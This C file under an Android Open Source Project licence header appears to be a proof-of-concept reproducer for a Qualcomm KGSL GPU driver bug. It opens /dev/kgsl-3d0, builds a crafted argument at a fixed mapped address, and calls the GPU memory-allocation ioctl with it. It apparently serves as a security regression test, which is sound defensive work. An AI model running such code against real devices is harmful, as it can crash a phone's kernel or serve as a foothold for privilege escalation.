| /** |
| * Copyright (C) 2018 The Android Open Source Project |
| * |
| * Licensed under the Apache License, Version 2.0 (the "License"); |
| * you may not use this file except in compliance with the License. |
| * You may obtain a copy of the License at |
| * |
| * http://www.apache.org/licenses/LICENSE-2.0 |
| * |
| * Unless required by applicable law or agreed to in writing, software |
| * distributed under the License is distributed on an "AS IS" BASIS, |
| * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| * See the License for the specific language governing permissions and |
| * limitations under the License. |
| */ |
| #define _GNU_SOURCE |
| #include <sys/types.h> |
| #include <sys/wait.h> |
| #include <unistd.h> |
| #include <stdint.h> |
| #include <string.h> |
| #include <sys/mman.h> |
| #include <sys/syscall.h> |
| #include <fcntl.h> |
| |
| #define IOCTL_KGSL_GPUMEM_ALLOC 0xc018092ful |
| int main() { |
| int fd = open("/dev/kgsl-3d0", 0); |
| mmap((void *)0x20000000ul, 0xd000ul, PROT_READ | PROT_WRITE, |
| MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1, 0); |
| |
| *(uint64_t *)0x20000ff0 = (uint64_t)0xfffffffffffff416; |
| *(uint32_t *)0x20000ff8 = (uint32_t)0x80; |
| *(uint32_t *)0x20000ffc = (uint32_t)0x8000; |
| *(uint32_t *)0x20001000 = (uint32_t)0x12345678; |
| ioctl(fd, 0xc018092ful, 0x20000ff0ul); |
| close(fd); |
| return 0; |
| } |
